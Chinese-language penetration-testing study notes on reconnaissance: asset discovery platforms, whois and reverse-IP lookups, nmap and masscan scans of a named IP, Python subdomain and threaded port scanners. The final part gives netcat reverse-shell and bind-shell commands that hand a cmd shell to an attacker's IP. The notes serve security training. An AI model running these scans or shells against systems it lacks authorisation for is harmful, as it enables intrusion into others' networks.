网络资产收集
目的:获得公司名下的网络资产、邮箱、电话等信息(邮箱和电话对后续密码破解可能会有帮助)
信息收集流程
- 信息收集的主公司有哪些子公司(已授权的、补天平台)
- 收集域名,探测端口
- 收集到子域名,可以进行 7kbscan 的目录扫描

域名查询:
企业信息查询平台
- 查备案信息、法人、注册资本、公司地址、电话号码、邮箱、app/公众号、操作系统等
- 查询手段:
ICP 备案查询
- 定义: ICP备案是指网站所有者向工信部的备案管理系统登记网站域名、IP地址、服务器的位置、运营主体信息(企业/个人)等内容的登记手续;不备案则网站被关闭影响网站运营、信誉受损、受到行政处罚。
- 注意:正规公司一定会备案,否则会受到行政处罚。ICP=签证
- 查询手段:
搜索引擎
使用百度/cn.bing 等搜索引擎收集信息。
子域名查询
- 定义:子域名 = 主域名下面的“分支域名”,是在主域名前加前缀,用来区分不同的服务或站点。
- 目的:找主域名下的所有站点,扩大攻击面。主域名下的子域名对应不同的业务系统,这些子域名可能存在安全问题。比如 tieba.baidu.com、map.baidu.com
- 网络空间测绘平台:
- 目的:专门对于全球互联网空间中的各类资产进行全面、深入、实施探测和识别的技术平台。
- FOFA:https://fofa.info/
- hunter(鹰图):https://hunter.qianxin.com/
- 360quake:https://quake.360.net/quake/#/index
- 子域名在线工具收集:
IP 反查域名
前提:在仅提供 IP 地址的情况下,可以通过 IP 反查域名,获取对应 IP 绑定的域名。
旁站
- 定义:同 IP,即同服务器下的不同站点。(同IP下,跟目标站在一台服务器上的别的网站。)
- 目的:找同服务器的其他站点,扩大攻击面。(目标主站防护很严、找不到漏洞,那我就去打同一IP/服务器上的其他网站(旁站),拿下旁站后再想办法控制整台服务器,最终拿下主站。)
补充:旁注
- 定义:一种渗透测试的攻击思路 / 方法,即 “不直接攻击目标主站,而是先拿下同一服务器上的旁站,再通过提权、跨目录访问等方式,间接控制目标主站”。
- 工具:反向 IP 域名查询(Reverse IP Domain Check)--核心是通过一个域名 / IP,查找同一服务器上托管的其他网站。同服务器下的不同 web 应用查询技术。
- 地址:YouGetSignal Reverse IP Domain Check
- 核心作用:
- 输入域名 / IP,即可查询同一服务器上托管的其他网站
- 常用于渗透测试的信息收集阶段,扩大攻击面
- 对共享虚拟主机场景,可挖掘同一 IP 下的其他目标
- 工作原理: 1. 先解析输入域名对应的服务器 IP 2. 对该 IP 执行反向 IP 查询,匹配所有绑定在该 IP 上的域名 3. 输出这些域名,帮助识别同一服务器上的其他 Web 应用
C段
- 定义:同一 C 段指 IP 地址的前三个字节相同的一组 IP 地址。
- 目的:扩大攻击面
- 工具:
- nmap(扫描网段,kali 自带)
- Cwebscanner
Whois 查询
- 目的:通过域名,查询域名的注册信息,包括注册者、联系邮箱、联系电话等信息
- 查询工具:
通过域名获取 IP
-拥有公司名或者域名,如何获取 IP?
- 查询工具:
- nslookup/ping www.baidu.com
- 专业 ping 网站:https://ping.chinaz.com/
拓展
利用威胁情报平台可以查询 Whois/IP/域名等信息
比如:
- 情报威胁中心
- 微步在线:https://x.threatbook.com/
- 奇安信威胁情报中心:https://ti.qianxin.com/
- 360 威胁情报中心:https://ti.360.cn/#/homepage
- google hacking:介绍链接, 涵盖渗透测试、信息收集、漏洞挖掘等场景的实用技巧 https://blog.csdn.net/Arthur_WangYu/article/details/145822576
Web 信息收集
基本信息收集:
操作系统收集
中间件收集
脚本信息收集
可以借助搜索引擎的方式猜测:
比如:
https://www.iqiyi.com/php
源代码收集
收集当前网站是否使用 CMS,或其他的源代码生成的
步骤:
使用 F12,查看网络资源
去搜索引擎里面查询
补充:CMS
CMS 是 Content Management System(内容管理系统) 的缩写,它是一种位于网站前端与后端之间的软件,用于创建、编辑、组织、审批和发布各种数字内容,包括文字、图片、视频、数据库等。它的核心目标是降低技术门槛,让非技术人员也能高效管理网站内容。
常见的 核心功能 包括:
- 内容管理:所见即所得(WYSIWYG)编辑器、多版本控制、分类与标签管理。
- 权限控制:多用户角色分配与分级审核流程。
- 模板与扩展:预置网站模板、插件扩展、多端适配。
- SEO优化:URL自定义、站点地图生成、元标签优化。
- 数据安全:权限管理、自动备份、防攻击插件支持。
常见CMS类型与适用场景:
- WordPress:全球使用率最高,适合博客、小型企业站、电商(配合WooCommerce)。
- Drupal:安全性高,适合政府、教育等大型项目。
- PageAdmin:国产CMS,支持政务站群、多语言,符合信创要求。
- Shopify/Magento:专注电商,内置支付与商品管理功能。
选择CMS的关键考虑:
- 网站类型与规模(博客、电商、门户等)。
- 易用性与扩展性(插件、模板生态)。
- 安全性与维护成本(更新频率、社区活跃度)。
- 未来可扩展性(多语言、多站点支持)。
通过合理选型与配置,CMS不仅能提升内容发布效率,还能优化用户体验并降低运营成本。
数据库信息收集(借助工具扫描端口)
常见端口
文件传输类
- 21:FTP 文件传输
- 20:FTP 数据端口
- 445:SMB Windows文件共享
- 139:NetBIOS 局域网共享
远程管理类
- 22:SSH 加密远程登录
- 23:Telnet 明文远程(高危)
- 3389:RDP Windows远程桌面
Web服务类(重点)
- 80:HTTP 明文网页
- 443:HTTPS 加密网页
- 8080:Tomcat/代理/备用Web
- 8081、8082:Web备用端口
数据库类
- 3306:MySQL
- 5432:PostgreSQL
- 1521:Oracle
- 6379:Redis 缓存数据库
- 27017:MongoDB
中间件类
- 8005:Tomcat 关闭端口
- 8009:Tomcat AJP
- 7001:WebLogic
- 8090:JBoss
- 9090:WebSphere
邮件服务类
- 25:SMTP 发邮件
- 110:POP3 收邮件
- 143:IMAP 邮件同步
网络基础服务类
- 53:DNS 域名解析
- 67/68:DHCP 自动分配IP
其他常用
- 135:Windows RPC 服务
- 3307:MySQL 备用端口
检测域名或者端口是否开放
- 使用在线工具(http://coolaf.com/tool/port)
- 使用 NC 扫描
NC 瑞士军刀(kali 自带)
nc -n -v -wl -z +ip地址 +端口
扫描的 IP 一定要有开放的端口!
域名信息收集
子域名收集
- 使用在线工具收集
- layer 子域名挖掘机
目录收集
- 目的:目标网站的潜在目录,发现敏感路径。探测哪里可以攻击。
- 扫描工具:御剑/7kbscan
端口扫描
nmap
端口扫描
-p 80 #扫80端⼝ -p 1-80 #扫1-80端⼝ -p 80,3389,22,21 #扫指定端⼝ -p- #等价 -p 1-65535
主机探测
使⽤-sP
nmap -sP 8.217.43.84
服务识别
使⽤-sV
nmap -sV 8.217.43.84 -p 80 nmap -sV 8.217.43.84
系统识别
使⽤-O
sudo nmap -O 8.217.43.84 sudo nmap -O 8.217.43.84 -p 8080
结果导出
sudo nmap -O 8.217.43.84 -oN a.txt
masscan
定义
- kali 自带的内置工具,性能高于 nmap,可以先使用 masscan 对目标 IP(通常是一个网段进行全端口扫描,然后再使用 nmap 对存活主机的开放端口进行扫描,找出对应端口的服务存在的漏洞。
参数:
- 基本扫描参数
- -p:指定扫描的端口范围
- -P:设置目标主机的端口范围
- -iL:从文件中读取目标IP地址
- 扫描速度和性能
- --rate:设置扫描速度(数据包/秒)
- --max-rate:设置最大扫描速度
- --min-rate:设置最小扫描速度
- --randomize-hosts:随机扫描目标主机
- 输出格式
- -oL:以普通文本格式输出结果
- -oJ:以JSON格式输出结果
- -oG:以Grepable格式输出结果
- 网络探测
- --ping:Ping扫描,检测存活主机
- --banners:获取主机服务的横幅信息
- 基础设置
- --adapter:选择网络适配器
- --router-mac:指定路由器的MAC地 m 址
示例:
扫描指定端口范围和 IP 范围(C 段):
sudo masscan -p 80-90 --range 8.217.43.1-8.217.43.255
检查指定范围的主机是否存活:
sudo masscan --ping --range 8.217.43.1-8.217.43.255
扫描所有端口,设置速率为 1000(不建议)
masscan -p 1-65535 8.217.43.84 --rate 1000
扫描 1-10000 端口:
masscan -p 1-10000 8.217.43.84
扫描 1-100 端口:
masscan -p 1-100 8.217.43.84
扫描 80 端口:
masscan -p 80 8.217.43.84
内网 IP 扫描 1-10000 端口:
masscan -p 1-10000 192.168.209.1 masscan -p 1-10000 192.168.153.1
从文件中读取 IP 列表,输出为 JSON 格式:
masscan -iL targets.txt -oJ output.json
Web 信息刺探
黑暗引擎
- [https://fofa.info/](https://fofa.info/)
- domain="baidu.com"
- server="Apache"
- title=""
- port="80"(php 写的网站) / "8080"(java 写的网站)
- body="内容"
社工信息
- 天眼查:https://www.tianyancha.com/
- 企查查:https://www.qcc.com/
- 爱企查:https://aiqicha.baidu.com/
- 小蓝本:https://www.xiaolanben.com/
- 备案信息:https://beian.miit.gov.cn
python 信息收集
python 实现 IP 查询机制
Socket模块是Python中⽤于实现⽹络通信的⼀个模块,它提供了⼀种⽅式来创建客⼾端和服务器之间的连接,socket.gethostbyname()⽅法可以根据指定的域名返回对应的IP。
import socket hostname='www.baidu.com' ip=socket.gethostbyname(hostname) print(ip)
python 开发 whois 探索机制
"Whois"模块是⼀个Python模块,⽤于执⾏WHOIS查询以检索⽹络域名的注册信息。它提供了与WHOIS服务器进⾏交互的⼯具,并返回注册信息的结果。使⽤"Whois"模块,可以查询域名的注册状态、域名所有者、注册⽇期、过期⽇期以及其他相关信息。这对于⽹络域名管理和⽹络监控⾮常有⽤。
import whois
def whoisCheck(info):
if info == "":
# 如果输入信息为空 则结束执行 并输出提示信息
return print("你输入的是空的啊???")
# 检索指定的域名
whoisResultInfo = whois.whois(info)
# 输出检索到的信息
print(whoisResultInfo)
# 输出检索信息中的 name信息
print(whoisResultInfo['name'])
# 输出检索信息中的 emails信息
print(whoisResultInfo['emails'])
# 输出检索信息中的 注册信息
print(whoisResultInfo['registrar'])
if __name__ == '__main__':
info = input("请您输入目标地址哦...")
whoisCheck(info)
子域名查询
原理:通过调⽤socket.gethostbyname()⽅法来判断是否能获取到给定域名对应的ip,如果能查询到对应的IP说明该域名存在,否则域名⽆效。
需要用到⼦域名字典dict.txt
与 Layer 类似
import socket, time
def zymListCheck(url):
url = url.replace("www", "") # 先把www 替换成 空的
for zymList in open("dict.txt"): # dict.txt怎么制作? 答:百度一下:百度的子域名 https://site.ip138.com/baidu.com/
zymList = zymList.replace("\n", "") # 由于字典的每一行,默认就有一个换行,所以把换行 替换成 空
zymListUrl = zymList + url
# print(zymListUrl,'------------')
try:
ip = socket.gethostbyname(zymListUrl)
print(zymListUrl + "----> 该子域名的IP为:" + ip)
time.sleep(1)
except Exception as e:
print(zymListUrl + "---> 没有该子域名,错误哦×")
time.sleep(1)
if __name__ == '__main__':
# 请您输入目标地址哦... vivo.com.cn
url = input("请您输入目标地址哦...")
zymListCheck(url)
端口扫描
流程:获取扫描的IP和端⼝,链接IP和端⼝,判断连接状态。
connect()⽅法:这是⽤来建立连接的⽅法。它需要指定服务器的地址和端⼝号
import socket
def port_test():
# 创建socket对象 默认为TCP连接
# sk = socket.socket(网络类型,socket类型)
sk = socket.socket()
# 建立链接 连接失败 则报错
try:
# sk.connect((ip地址,端口))
sk.connect(('127.0.0.1',3306))
print('连接成功')
except: # 捕获异常
print('连接失败')
# 关闭连接
sk.close()
port_test()
线程端口扫描
threading模块是Python中⽤于创建和管理线程的模块,它建⽴在底层模块_thread的基础上,提供了更⾼级的接⼝来处理线程。这个模块包含了⼀系列的类和函数,⽤于创建线程、同步线程间的操作以及实现线程间的通信。
t=threading.Thread(target=port_test,args=(ip,))创建⼦线程,target⽤于指定执⾏任务,args⽤于传递参数t.start()启动⼦线程
import socket
import sys
import threading
import queue
import time
def get_ip(name):
ip = socket.gethostbyname(name)
return ip
def port_test(ip):
# 创建socket对象 默认为TCP连接
# sk = socket.socket(网络类型,socket类型)
# socket.AF_INET:ipv4, socket.SOCK_STREAM:tcp连接
# 建立链接 连接失败 则报错
while True:
if q.empty():
break
sk = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
port = q.get()
try:
# 获取队列中的端口
sk.connect((ip,port))
print(ip,':',port,'----连接成功')
except: # 捕获异常
print(port,'失败')
pass
# 关闭连接
sk.close()
time.sleep(1)
## python .\py5.py 127.0.0.1 1000
if __name__ == '__main__':
ip = sys.argv[1]
th_nums = int(sys.argv[2])
# ip = get_ip(yuming)
# 创建子线程
# 创建线程队列
q = queue.Queue()
for i in range(1,65535):
q.put(i)
for i in range(th_nums):
t = threading.Thread(target=port_test,args=(ip,))
t.start()
nc 瑞士军刀收集端口
定义
- NetCat(nc),可以通过 TCP/UDP 协议读写,是一个稳定的连接系统后门的工具,也是一个网络调试和开发工具
参数
- -l: 开启监听
- -p: 指定端口
- -t: 以telnet形式应答
- -e: 程序重定向
- -n: 以数字形式标识IP
- -v: 显示执行命令过程
- -z: 不进行交互,直接显示结果
- -u: 使用UDP协议传输
- -w: 设置超时时间
- -d: 后台运行
命令
- nc-n-v-w1-z <目标IP> <端口/端口范围>
反弹 shell
- 目标机主动连接攻击机,把 Shell 反弹回来
- 先攻击机:nc.exe -lvp 9999
- 再目标机:nc.exe -e cmd 攻击机IP 9999
正向 shell
- 攻击机主动连接目标机,目标机把 Shell 直接返回给攻击机
- 目标机:
nc.exe -lvp 9999 -e cmd.exe - 攻击机:
nc.exe 目标IP 9999
- 目标机:
文件传输
接收端(先开)
nc -lvp 9999 > 接收的文件名
发送端(后发)
nc 对方IP 9999 < 要发送的文件名
比如:以 Windows 为例
接收端
nc.exe -lvp 9999 > test.exe
发送端
nc.exe 192.168.1.10 9999 < test.exe
感谢Jasmine_Iris 大手子的开源

评论区
评论加载中...